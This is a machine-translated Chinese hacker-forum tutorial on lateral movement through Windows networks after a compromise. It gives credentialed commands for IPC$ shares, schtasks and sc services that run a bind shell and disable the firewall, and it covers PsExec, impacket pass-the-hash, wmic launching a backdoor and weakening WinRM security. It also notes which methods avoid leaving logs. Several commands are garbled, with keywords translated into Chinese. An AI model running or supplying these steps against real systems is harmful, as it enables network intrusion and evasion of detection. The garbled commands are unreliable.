跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

内网渗透横向移动技巧

精选回复

发布于

一般情况下,横向移动是在获得足够的权限后进行的。下面的大部分方法也需要高权限操作。

https://www.freebuf.com/articles/network/251364.html

内网内横向移动分为三种情况:

1. VPN环境中的横向移动;

2、在socks代理环境下进行横向移动;

3、在远程木马环境中进行横向移动;

文件传输-前期准备

在横向移动的过程中,首先要考虑的是文件传输方案,这将方便后续将攻击负载或其他文件部署到攻击目标。

网络共享

在Windows系统中,网络共享功能可以实现局域网之间的文件共享。通过提供有效的用户凭据,可以将文件从一台计算机传输到另一台计算机。

获取Windows默认启用的网络共享。

净份额

实战中经常会用到IPC$连接,IPC$连接需要两个要求。

1、远程主机打开IPC连接;

2、远程主机的139端口和445端口开放;

net use \\10.10.10.10\IPC$ 'admin!@#456' /user:'管理员'

此时,如果您拥有足够权限的凭据,则可以使用dir或copy命令查看目标主机的信息。

安全考虑:这些指令在本地和远程执行,因此不会在远程连接的主机上留下日志信息,因此相对安全。

构建 SMB 服务器

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8 C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB

SMB(服务器消息块),也称为CIFS(网络文件共享系统),是基于应用层的网络传输协议。一般使用NetBIOS协议或TCP发送,使用端口139或445。

创建双方均可访问的SMB服务器,并允许受害主机在内网渗透时远程加载木马等操作来控制目标主机。

CIFS协议和SMB协议的区别

**关于CIFS权限的思考:**当我们拿下一台机器,如果机器存在约束委派或者银票等漏洞,通过操作获取域控的cifs权限,我们可以使用impacket工具包中的工具如psexec.py、smbexec.py等脚本,然后使用-no-pass -k参数直接连接域控,通过读取获取权限当地门票。

但是,当使用-no-pass -k 参数时,impacket 工具包会检测.ccache 票证。在Windows 上,它使用以.kirbi 结尾的票证,因此无法成功。它在linux上运行成功。

如果能够获取域控的cifs权限,修改impacket工具,或者编写其他工具,通过CIFS权限直接接管域控。

计划任务

使用VPN 和socks 的工作方式相同。一般来说,您需要获取管理员凭据才能执行计划任务。

通过搭建SMB服务器或者建立共享连接,目标机下载并运行脚本,然后创建定时任务来执行脚本、加载木马等。

当目标系统版本为window2012时,使用at:

net use \\192.168.3.21\ipc$ 'Admin12345' /user:god.org\administrator # 建立ipc连接

copy add.bat \192.168.3.21\c$ #复制可执行文件到目标机

at \\192.168.3.21 15:47 c:\add.bat #添加定时任务

当目标系统版本=windows2012时,使用schtasks:

net use \\192.168.3.32\ipc$ 'admin!@#45' /user:god.org\administrator # 建立ipc连接

copy add.bat \\192.168.3.32\c$ #将文件复制到其C盘

schtasks /create /s 192.168.3.32 /ru 'SYSTEM' /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应的执行文件

/s:指定要链接的系统; /ru:指定定时任务运行的用户权限; /tn:指定要创建的定时任务名称;

/sc:指定定时任务的执行频率; /tr:指定定时任务运行的程序路径; /F:如果指定任务存在,则强制创建;

/mo:指定定时任务执行周期;

schtasks /query /s 10.10.10.10 /TN c #查看定时任务c状态

schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务

schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser 任务

2vhc2vtvpuw1294.png

注意,定时任务执行的程序是在后台执行的,没有回显。

从日志来看,只要进行远程连接操作,如果使用IP,就是NTLM认证报文,如果使用域名或者机器名,就是Kerberos认证报文。

qdqjja1yu1n1295.png

1hmpvforahm1296.png

添加、删除、执行定时任务等操作也会反映在目标主机上。

ly5wd4wsjen1297.png

Microsoft-Windows-TaskScheduler/Operational:该事件日志记录计划任务的操作、创建、修改和删除。您可以在Windows 事件查看器中找到此日志。路径为:事件查看器- 应用程序和服务日志- Microsoft - Windows - 任务计划程序- 操作。 Microsoft-Windows-TaskScheduler/Maintenance:该事件日志用于记录计划任务的执行情况,包括任务的开始、完成和错误信息。同样,您可以在Windows 事件查看器中找到此日志。路径为:事件查看器- 应用程序和服务日志- Microsoft - Windows - 任务计划程序- 维护。安全考虑:定时任务虽然是远程执行,但是会在目标主机上建立一个定时任务进程,该进程也会执行目标主机上的文件。这些行为都会在目标主机上留下日志记录,因此比较危险。

系统服务

使用VPN 和socks 的工作方式相同。您还可以通过在远程主机上创建系统服务来在远程主机上运行指定的程序或命令。

此方法需要两台主机上的管理员权限。

sc \\[主机名/IP] create [服务名] binpath='[路径]' #创建计划任务启动器

sc \\10.10.10.10 创建bindshell binpath='c:\bind.exe'

注意这里的格式。 “=”后面必须有一个空格,否则会出错。

启动服务

sc \\10.10.10.10 启动bindshell

删除服务

sc \\[主机]删除[服务名] #删除服务

我们还可以通过设置服务来关闭防火墙:

sc \\WIN-ENS2VR5TR3N 创建无法防火墙binpath='netsh advfirewall 将所有配置文件状态设置为关闭'

sc \\WIN-ENS2VR5TR3N 启动无法防火墙

vgp2kkwnaee1298.png

从日志来看,只要进行远程连接操作,如果使用IP,就是NTLM认证报文,如果使用域名或者机器名,就是Kerberos认证报文。

mlrfzpqkrz41299.png

系统服务日志也会留下痕迹。

e32tfrrk5yw1300.png

安全考虑:使用创建系统服务的方法会在远程主机上创建服务,并在目标主机上留下日志记录,因此比较危险。

PSEXEC

使用VPN 和socks 的工作方式相同。 psToolspsexec通过SMB连接到服务器的Admin$共享,释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXEC”的服务。当命令执行时,会通过服务启动相应的程序来执行命令并回显。操作完成后,PSEXESVC 服务将被删除。

因此,运行psexec 需要什么:

1、在目标主机上启用Admin$共享;

2、开放139或445端口运行SMB;

3、需要目标主机的权限才能创建服务;

PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe

-accepteula:第一次运行psexec时,会弹出确认框。使用该参数不会弹出确认框。

-u:用户名

-p:密码

-s:以系统权限运行luck进程,获得具有系统权限的交互式shell。如果不使用该参数,将获得一个具有用于连接的用户权限的shell。

impacket 包Psexec.py 允许您在远程Windows 系统上执行进程、复制文件并返回处理输出。此外,它允许您使用完整的交互式控制台直接执行远程shell 命令(无需安装任何客户端软件)。

python psexec.py [[域/]用户名[:密码]@][目标IP地址]

python psexec.py VVVV1/admins:User\!@#[email protected]

# 通过哈希密码连接获取目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]

python文件和exe文件的命令是相同的。

lp2tzkkkn5h1301.png

使用psexec时,不仅会在域控制器上生成登录日志,还会在目标机器上生成日志信息。

事件ID:7045

使用官方PSEXEC 工具

vs20xdkrz3q1302.png

使用impacket包中的PSEXEC工具连接时,发现生成的服务名称会被自动修改(对服务有一定的隐藏作用)

13ofao4pzoq1303.png

安全分析:当psexec执行时,它不仅会上传一个文件,还会创建一个服务。这些将被目标主机记录,因此它们更加危险。

WMI

使用VPN 和socks 的工作方式相同。 WMI的全称是(Windows Management Instrumentation,Windows管理规范)。用户可以通过WMI管理本地和远程计算机。 WMI 使用的协议是DCOM(分布式组件对象模型)和WinRM(Windows 远程管理)。

运行WMI所需的条件:

1、远程主机的WMI服务开启;

2、两台主机都打开并释放135端口;

在Windows 上,您可以使用wmic.exe 和PowerShell Cmdlet 来使用WMI 数据并执行WMI 方法。

wmic /node:192.168.183.130 /USER:administrator 路径win32_terminalservicesetting WHERE (__Class!='') CALL SetAllowTSConnections 1

//wmic /node:'[完整计算机名称]' /USER:'[域]\[用户名]' PATH win32_terminalservicesetting WHERE (__Class!='') CALL SetAllowTSConnections 1

查询远程进程信息

wmic /node:192.168.183.130 /user:administrator /password:Liu78963进程列表简介

执行wmic命令时没有回显,所以需要将结果写入txt。

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 进程调用create 'cmd.exe /c ipconfig C:\result.txt'

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 进程调用创建'cmd.exe /c 命令C:\result.txt'

wmic /node:192.168.183.130 /user:administrator /password:Liu78963进程调用创建'directory\backdoor.exe'

///node:指定将执行操作的服务器

从日志来看,只要进行远程连接操作,如果使用IP,就是NTLM认证报文,如果使用域名或者机器名,就是Kerberos认证报文。除认证操作外,正常情况下wmic远程执行命令不会产生日志。仅开启命令行审计功能。当使用wmic命令执行任何操作时,相关事件都会记录在Windows事件日志中。

t1gju2m4frj1304.png

DCOM 漏洞利用

使用VPN 和socks 的工作方式相同。 https://www.freebuf.com/articles/web/293280.html

WinRM 利用率

使用VPN 和socks 的工作方式相同。 http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.htmlWinRM通过执行WS-管理协议实现远程管理,允许同一网络中的Windows计算机相互访问和交换信息。对应的端口是5985。

在运行Windows-2008 或更高版本的服务器中,WinRM 服务将自动启动。使用WinRM服务进行横向移动时,您需要拥有远程主机的管理员凭据。

安装WinRM服务

1.检查winrm是否启用

winrm e winrm/config/listener

如果报错,说明没有启用。

2.启动服务

要进入管理员模式,请使用CMD。因为Powershell将无法执行

winrm快速配置

会有两个问题,只需输入“y”

3.Winrm服务设置auth

winrm 设置winrm/config/service/auth '@{Basic='true'}'

4、配置winrm服务的加密方式为允许不加密(如果不配置的话远程连接会出错)

winrm 设置winrm/config/service '@{AllowUnencrypted='true'}'

5.查看winrm配置

winrm 获取winrm/config

配置可信主机

winrm set winrm/config/client @{TrustedHosts='10.10.10.10'} #信任主机10.10.10.10

Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机

命令执行

winrs -r:http://10.10.10.10:5985-u:管理员-p:admin!@#456 'whoami'

winrs -r:http://10.10.10.10:5985-u:管理员-p:admin!@#456 'cmd'

n32eydznuci1305.png

从日志来看,只要进行远程连接操作,如果使用IP,就是NTLM认证报文,如果使用域名或者机器名,就是Kerberos认证报文。除认证操作外,winRM远程执行命令正常情况下不会生成日志。

qycinozacvx1306.png

Linux 横向渗透

一般在Linux下进行水平渗透,都是使用Impacket工具包进行渗透,它是一个python脚本。

wmiexec.py

使用VPN 和socks 的工作方式相同。它使用Windows Management Instrumentation 生成半交互式shell,并以管理员身份运行。您不需要在目标服务器上安装任何服务/代理,因此非常隐蔽。

python wmiexec.py [[域/]用户名[:密码]@][目标IP地址]

python wmiexec.py VVVV1/admins:User\!@#[email protected] (注意:如果密码中有!则需要转义!)

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]

ecfismpzoya1307.png

域控主机上会保留登录日志,但socks隧道的客户端主机上不会保留登录日志。

5e1yrhuekj11308.png

psexec.py

使用VPN 和socks 的工作方式相同。 Psexec.py 允许您在远程Windows 系统上执行进程、复制文件并返回处理输出。此外,它允许您使用完整的交互式控制台直接执行远程shell 命令(无需安装任何客户端软件)。

python psexec.py [[域/]用户名[:密码]@][目标IP地址]

python psexec.py VVVV1/admins:User\!@#[email protected]

# 通过哈希密码连接获取目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]

xzlfvx35vvg1309.png

使用psexec时,不仅会在域控制器上生成登录日志,还会在目标机器上生成日志信息。

事件ID:7045

使用官方PSEXEC 工具

je0j1qzdlkq1310.png

使用impacket包中的PSEXEC工具连接时,发现生成的服务名称会被自动修改(对服务有一定的隐藏作用)

5fembmdu4341311.png

smbexec.py

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。